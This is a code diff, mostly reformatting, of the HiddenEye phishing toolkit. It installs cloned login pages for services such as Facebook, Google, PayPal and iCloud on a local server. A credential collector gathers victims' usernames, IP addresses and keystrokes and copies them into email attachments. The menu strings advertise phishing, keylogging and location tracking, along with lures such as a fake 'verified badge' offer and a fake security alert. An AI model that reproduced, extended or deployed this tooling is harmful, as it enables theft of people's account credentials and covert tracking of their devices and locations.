webpage_set("WebPages/dropbox/", "Server/www/")
|
||||
elif page == 'eBay':
|
||||
elif page == "eBay":
|
||||
webpage_set("WebPages/ebay/", "Server/www/")
|
||||
elif page == 'Myspace':
|
||||
elif page == "Myspace":
|
||||
webpage_set("WebPages/myspace/", "Server/www/")
|
||||
elif page == 'PayPal':
|
||||
elif page == "PayPal":
|
||||
webpage_set("WebPages/paypal/", "Server/www/")
|
||||
elif page == 'Shopify':
|
||||
elif page == "Shopify":
|
||||
webpage_set("WebPages/shopify/", "Server/www/")
|
||||
elif page == 'Verizon':
|
||||
elif page == "Verizon":
|
||||
webpage_set("WebPages/verizon/", "Server/www/")
|
||||
elif page == 'Yandex':
|
||||
elif page == "Yandex":
|
||||
webpage_set("WebPages/yandex/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'Reddit':
|
||||
elif custom_option == "1" and page == "Reddit":
|
||||
webpage_set("WebPages/Reddit/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Reddit':
|
||||
elif custom_option == "2" and page == "Reddit":
|
||||
webpage_set("WebPages/Reddit-old/", "Server/www/")
|
||||
elif page == 'Subitoit':
|
||||
elif page == "Subitoit":
|
||||
webpage_set("WebPages/subitoit/", "Server/www/")
|
||||
elif page == 'PlayStation':
|
||||
webpage_set('WebPages/playstation/', "Server/www/")
|
||||
elif page == 'Xbox':
|
||||
webpage_set('WebPages/xbox/', "Server/www/")
|
||||
elif page == 'CUSTOM(1)':
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
elif page == "PlayStation":
|
||||
webpage_set("WebPages/playstation/", "Server/www/")
|
||||
elif page == "Xbox":
|
||||
webpage_set("WebPages/xbox/", "Server/www/")
|
||||
elif page == "CUSTOM(1)":
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].
|
||||
format(page=page))
|
||||
print(
|
||||
localization.lang_start_phishing_page["manual_reading_suggestion"].
|
||||
format(page=page))
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set('WebPages/CUSTOM(1)/', "Server/www/")
|
||||
elif page == 'CUSTOM(2)':
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
|
||||
elif page == "CUSTOM(2)":
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].
|
||||
format(page=page))
|
||||
print(
|
||||
localization.lang_start_phishing_page["manual_reading_suggestion"].
|
||||
format(page=page))
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set('WebPages/CUSTOM(2)/', "Server/www/")
|
||||
webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
|
||||
|
||||
# Tools Below && Phishing Pages Above
|
||||
elif custom_option == '1' and page == 'LOCATION':
|
||||
elif custom_option == "1" and page == "LOCATION":
|
||||
wait(3)
|
||||
webpage_set('WebPages/TOOLS/nearyou', "Server/www/")
|
||||
webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
elif custom_option == '2' and page == 'LOCATION':
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
elif custom_option == "2" and page == "LOCATION":
|
||||
wait(3)
|
||||
webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
|
||||
webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print("Please choose a valid option")
|
||||
time.sleep(1)
|
||||
start_main_menu()
|
||||
|
||||
def enter_custom_redirecting_url(): # Question where user can input custom web-link
|
||||
run_command('clear')
|
||||
|
||||
def enter_custom_redirecting_url(
|
||||
): # Question where user can input custom web-link
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
if 'http://' in custom or 'https://' in custom:
|
||||
print(localization.
|
||||
lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(localization.
|
||||
lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(
|
||||
localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
if "http://" in custom or "https://" in custom:
|
||||
pass
|
||||
else:
|
||||
custom = 'http://' + custom
|
||||
custom = "http://" + custom
|
||||
|
||||
if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection.
|
||||
with open('Server/www/js/location.js') as f:
|
||||
# For Location (gdrive) Template Redirection.
|
||||
if path.exists("Server/www/js/location.js"):
|
||||
with open("Server/www/js/location.js") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/js/location.js', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/js/location.js", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
|
||||
with open('Server/www/login.php') as f:
|
||||
if path.exists("Server/www/post.php") and path.exists(
|
||||
"Server/www/login.php"):
|
||||
with open("Server/www/login.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/login.php', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/login.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
with open('Server/www/post.php') as f:
|
||||
with open("Server/www/post.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/post.php', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/post.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
else:
|
||||
try:
|
||||
with open('Server/www/login.php') as f:
|
||||
with open("Server/www/login.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/login.php', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/login.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
except FileNotFoundError:
|
||||
|
@ -413,5 +445,7 @@ def enter_custom_redirecting_url(): # Question where user can input custom web-
|
|||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print("[^] ERROR: Please make sure your folder contains a valid login.php file.")
|
||||
print(
|
||||
"[^] ERROR: Please make sure your folder contains a valid login.php file."
|
||||
)
|
||||
exit()
|
||||
|
|
|
@ -4,13 +4,23 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket, regular_expression
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import getuid
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import platform
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import socket
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import stat
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
@ -23,20 +33,20 @@ def license_handler():
|
|||
"""
|
||||
eula = pathlib_Path("eula.txt")
|
||||
if eula.exists():
|
||||
eula = eula.open('r')
|
||||
with open('eula.txt', 'r') as f:
|
||||
if 'eula = True' in f.read():
|
||||
print('Found your license agreement, proceeding...')
|
||||
eula = eula.open("r")
|
||||
with open("eula.txt", "r") as f:
|
||||
if "eula = True" in f.read():
|
||||
print("Found your license agreement, proceeding...")
|
||||
return True
|
||||
else:
|
||||
print('Please read and accept license.')
|
||||
print("Please read and accept license.")
|
||||
return False
|
||||
else:
|
||||
eula.touch(mode=0o777, exist_ok=True)
|
||||
eula = open('eula.txt', 'w')
|
||||
eula = open("eula.txt", "w")
|
||||
eula.write(localization.write_eula + "eula = False")
|
||||
eula.close()
|
||||
print('Please accept EULA.')
|
||||
print("Please accept EULA.")
|
||||
return False
|
||||
|
||||
|
||||
|
@ -51,28 +61,31 @@ def exit_message(port = 80): # Message when HiddenEye exit
|
|||
"""
|
||||
choice = input(localization.lang_exit_message["choice"])
|
||||
choice.lower()
|
||||
if choice == 'r':
|
||||
run_command(['sudo', 'python3', 'HiddenEye.py'])
|
||||
elif choice == 'm':
|
||||
if choice == "r":
|
||||
run_command(["sudo", "python3", "HiddenEye.py"])
|
||||
elif choice == "m":
|
||||
email_prompt.captured_data_email_confirmation(port)
|
||||
elif choice == 's':
|
||||
elif choice == "s":
|
||||
server_runner.server_selection(port)
|
||||
elif choice == 'x':
|
||||
run_command('clear')
|
||||
elif choice == "x":
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(' ' + global_localization.by_darksec)
|
||||
print(' ' + global_localization.official_website_link)
|
||||
print(" " + global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
print(localization.lang_exit_message["thank_you"])
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return exit_message(port)
|
||||
|
||||
|
||||
def terms_of_service_message():
|
||||
"""Requests user to provide agreement to license provided.
|
||||
|
||||
|
@ -82,21 +95,27 @@ def terms_of_service_message():
|
|||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
print(
|
||||
localization.
|
||||
lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
agreement = input(global_localization.input_line)
|
||||
if localization.text_to_confirm_license not in agreement:
|
||||
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["you_are_not_allowed"])
|
||||
exit()
|
||||
else:
|
||||
eula = open('eula.txt', 'w')
|
||||
eula = open("eula.txt", "w")
|
||||
eula.write(localization.write_eula + "eula = True")
|
||||
eula.close()
|
||||
return True
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def module_loading_message(option_name): # This one just show text..
|
||||
"""Prints "Select any mode" message. """
|
||||
print(option_name + localization.lang_module_loading_message["is_loaded"])
|
||||
|
@ -107,60 +126,83 @@ def credentials_collector():
|
|||
"""Collects, writes and returns credentials and additional info gathered from target."""
|
||||
print(localization.lang_credentials_collector["waiting_for_interaction"])
|
||||
while True:
|
||||
with open('Server/www/usernames.txt') as creds:
|
||||
with open("Server/www/usernames.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
|
||||
new_usernames = open('Server/www/usernames.txt')
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["credentials_found"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(
|
||||
mode=0o777, exist_ok=True)
|
||||
captured_usernames = open("Server/CapturedData/usernames.txt",
|
||||
"a")
|
||||
new_usernames = open("Server/www/usernames.txt")
|
||||
captured_usernames.write(new_usernames.read())
|
||||
new_usernames.close()
|
||||
captured_usernames.close()
|
||||
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
||||
copyfile(
|
||||
"Server/CapturedData/usernames.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/usernames.txt",
|
||||
)
|
||||
|
||||
new_usernames = open('Server/www/usernames.txt', 'w')
|
||||
new_usernames.write('')
|
||||
new_usernames = open("Server/www/usernames.txt", "w")
|
||||
new_usernames.write("")
|
||||
new_usernames.close()
|
||||
|
||||
with open('Server/www/ip.txt') as creds:
|
||||
with open("Server/www/ip.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
captured_ips = open('Server/CapturedData/ip.txt', 'a')
|
||||
new_ips = open('Server/www/ip.txt')
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["device_details_found"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
|
||||
exist_ok=True)
|
||||
captured_ips = open("Server/CapturedData/ip.txt", "a")
|
||||
new_ips = open("Server/www/ip.txt")
|
||||
captured_ips.write(new_ips.read())
|
||||
new_ips.close()
|
||||
captured_ips.close()
|
||||
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
||||
new_ips = open('Server/www/ip.txt', 'w')
|
||||
new_ips.write('')
|
||||
copyfile(
|
||||
"Server/CapturedData/ip.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/ip.txt",
|
||||
)
|
||||
new_ips = open("Server/www/ip.txt", "w")
|
||||
new_ips.write("")
|
||||
new_ips.close()
|
||||
|
||||
|
||||
creds.close()
|
||||
|
||||
with open('Server/www/KeyloggerData.txt') as creds:
|
||||
with open("Server/www/KeyloggerData.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(global_localization.line_of_dots)
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a')
|
||||
new_keys = open('Server/www/KeyloggerData.txt')
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["getting_pressed_keys"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
|
||||
mode=0o777, exist_ok=True)
|
||||
captured_keys = open("Server/CapturedData/KeyloggerData.txt",
|
||||
"a")
|
||||
new_keys = open("Server/www/KeyloggerData.txt")
|
||||
captured_keys.write(new_keys.read())
|
||||
new_keys.close()
|
||||
captured_keys.close()
|
||||
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
||||
new_keys = open('Server/www/KeyloggerData.txt', 'w')
|
||||
new_keys.write('')
|
||||
copyfile(
|
||||
"Server/CapturedData/KeyloggerData.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
|
||||
)
|
||||
new_keys = open("Server/www/KeyloggerData.txt", "w")
|
||||
new_keys.write("")
|
||||
new_keys.close()
|
||||
|
||||
log_writer(global_localization.line_of_dots)
|
||||
|
||||
creds.close()
|
||||
|
||||
|
||||
def log_writer(ctx): # Writing log
|
||||
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
|
||||
|
||||
|
@ -168,16 +210,20 @@ def log_writer(ctx): # Writing log
|
|||
ctx ([type]): [description]
|
||||
"""
|
||||
logFile = open("log.txt", "w")
|
||||
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
logFile.write(
|
||||
ctx.replace(default_palette[0], "").replace(
|
||||
default_palette[1], "").replace(default_palette[2], "").replace(
|
||||
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
print(ctx)
|
||||
|
||||
|
||||
def port_selector(): # Requests port input from user
|
||||
"""Asks user to input number between 1 and 65535.
|
||||
|
||||
Returns:
|
||||
string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again.
|
||||
"""
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -194,6 +240,7 @@ def port_selector(): # Requests port input from user
|
|||
except:
|
||||
return port_selector()
|
||||
|
||||
|
||||
def remove_readonly(func, path, _):
|
||||
"""Removes read-only state of file (IDK why it exists but it does already, so...)
|
||||
|
||||
|
@ -214,8 +261,9 @@ def global_message():
|
|||
print(global_localization.line_of_dots)
|
||||
|
||||
|
||||
def verify_connection(host='https://dark-sec-official.com'): # Connection check
|
||||
run_command('clear')
|
||||
def verify_connection(
|
||||
host="https://dark-sec-official.com"): # Connection check
|
||||
run_command("clear")
|
||||
try:
|
||||
req = requests.get(host, timeout=25)
|
||||
if req.status_code == 200:
|
||||
|
@ -227,6 +275,7 @@ def verify_connection(host='https://dark-sec-official.com'): # Connection check
|
|||
print(localization.lang_verify_connection["verify_your_connection"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_permissions():
|
||||
if check_platform("system") == "Linux":
|
||||
if getuid() == 0:
|
||||
|
@ -235,14 +284,16 @@ def check_permissions():
|
|||
print(localization.lang_check_permissions["permissions_denied"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_php():
|
||||
try:
|
||||
try_to_run_command(['php', '-v'])
|
||||
try_to_run_command(["php", "-v"])
|
||||
print(localization.lang_check_php["found"])
|
||||
except:
|
||||
print(localization.lang_check_php["not-found"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_platform(required_data):
|
||||
"""Checks system for specific platform related data and returns requested value.
|
||||
|
||||
|
|
|
@ -4,19 +4,36 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from subprocess import call as run_command, check_call as try_to_run_command ,Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
|
||||
from distutils.dir_util import copy_tree as webpage_set
|
||||
from time import sleep as wait
|
||||
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid
|
||||
from shutil import rmtree, copyfile
|
||||
from pathlib import Path as pathlib_Path
|
||||
from pyngrok import conf as ngrok_conf, ngrok
|
||||
import re as regular_expression
|
||||
import getpass, base64, socket, requests
|
||||
import base64
|
||||
import getpass
|
||||
import platform
|
||||
import requests
|
||||
import re as regular_expression
|
||||
import socket
|
||||
from distutils.dir_util import copy_tree as webpage_set
|
||||
from io import BytesIO
|
||||
from os import chdir
|
||||
from os import chmod
|
||||
from os import getuid
|
||||
from os import mkdir
|
||||
from os import path
|
||||
from os import remove
|
||||
from os import replace
|
||||
from os import stat
|
||||
from os import system
|
||||
from pathlib import Path as pathlib_Path
|
||||
from shutil import copyfile
|
||||
from shutil import rmtree
|
||||
from subprocess import call as run_command
|
||||
from subprocess import CalledProcessError
|
||||
from subprocess import check_call as try_to_run_command
|
||||
from subprocess import check_output
|
||||
from subprocess import DEVNULL
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as run_background_command
|
||||
from time import sleep as wait
|
||||
from urllib import request as url_request
|
||||
from zipfile import ZipFile
|
||||
from io import BytesIO
|
||||
|
||||
import requests
|
||||
from pyngrok import conf as ngrok_conf
|
||||
from pyngrok import ngrok
|
||||
|
|
|
@ -4,78 +4,192 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
# Contains all ActionManager/main_runner.py translation strings
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def check_version(): # WILL BE MOVED FROM HERE
|
||||
with open('version.txt') as f: # THIS WILL BE MOVED TOO
|
||||
with open("version.txt") as f: # THIS WILL BE MOVED TOO
|
||||
# ver_current = f.read() # DONT REMOVE THESE COMMENTS
|
||||
# version = ver_current.strip() # TO-DO
|
||||
return f.read().strip()
|
||||
|
||||
|
||||
version = check_version()
|
||||
|
||||
lang_start_main_menu = {
|
||||
"version_by_darksec": _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}").format(default_palette[4], default_palette[2], default_palette[0], version),
|
||||
"short_description": _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(default_palette[2],default_palette[0]),
|
||||
"features_summary" : _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]").format(default_palette[2], default_palette[0]),
|
||||
"down_line" : "{0}________________________________________________________________________________".format(default_palette[0]),
|
||||
"attack_vector_message" : _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"),
|
||||
"phishing_modules_header" : _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
|
||||
"phishing_modules_list" :
|
||||
[ ['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'],
|
||||
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK', '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'],
|
||||
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud', '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'],
|
||||
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab', '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'],
|
||||
['{0}[{1}05{0}]{1} StackOverflow', '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'],
|
||||
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin', '{0}[{1}30{0}]{1} MySpace'],
|
||||
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest', '{0}[{1}31{0}]{1} PayPal'],
|
||||
['{0}[{1}08{0}]{1} Instagram', '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'],
|
||||
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify', '{0}[{1}33{0}]{1} Verizon'],
|
||||
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora', '{0}[{1}34{0}]{1} Yandex'],
|
||||
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub', '{0}[{1}35{0}]{1} Reddit'],
|
||||
['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']],
|
||||
"additional_modules" : _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
|
||||
"additional_modules_list" :
|
||||
[ [_('{0}[{1}0A{0}]{1} Get Target Location')]],
|
||||
"operation_mode" : _("\nOperation mode:\n"),
|
||||
"facebook_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)')],
|
||||
[_('{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)'), _('{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)')]],
|
||||
"google_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} New Google Web')],
|
||||
[_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
"instagram_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')],
|
||||
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _('{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')],
|
||||
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]],
|
||||
"VK_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
"reddit_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]],
|
||||
"additional_module_location_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _('{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]]
|
||||
|
||||
|
||||
"version_by_darksec":
|
||||
_(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}"
|
||||
).format(default_palette[4], default_palette[2], default_palette[0],
|
||||
version),
|
||||
"short_description":
|
||||
_("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
"features_summary":
|
||||
_("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"down_line":
|
||||
"{0}________________________________________________________________________________"
|
||||
.format(default_palette[0]),
|
||||
"attack_vector_message":
|
||||
_("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"
|
||||
),
|
||||
"phishing_modules_header":
|
||||
_("\n{0}PHISHING-MODULES:").format(default_palette[0]),
|
||||
"phishing_modules_list": [
|
||||
[
|
||||
"{0}[{1}01{0}]{1} Facebook",
|
||||
"{0}[{1}13{0}]{1} Steam",
|
||||
"{0}[{1}25{0}]{1} Badoo",
|
||||
"{0}[{1}37{0}]{1} PlayStation",
|
||||
],
|
||||
[
|
||||
"{0}[{1}02{0}]{1} Google",
|
||||
"{0}[{1}14{0}]{1} VK",
|
||||
"{0}[{1}26{0}]{1} CryptoCurrency",
|
||||
"{0}[{1}38{0}]{1} Xbox",
|
||||
],
|
||||
[
|
||||
"{0}[{1}03{0}]{1} LinkedIn",
|
||||
"{0}[{1}15{0}]{1} iCloud",
|
||||
"{0}[{1}27{0}]{1} DevianArt",
|
||||
"{0}[{1}39{0}]{1} CUSTOM(1)",
|
||||
],
|
||||
[
|
||||
"{0}[{1}04{0}]{1} GitHub",
|
||||
"{0}[{1}16{0}]{1} GitLab",
|
||||
"{0}[{1}28{0}]{1} DropBox",
|
||||
"{0}[{1}40{0}]{1} CUSTOM(2)",
|
||||
],
|
||||
[
|
||||
"{0}[{1}05{0}]{1} StackOverflow",
|
||||
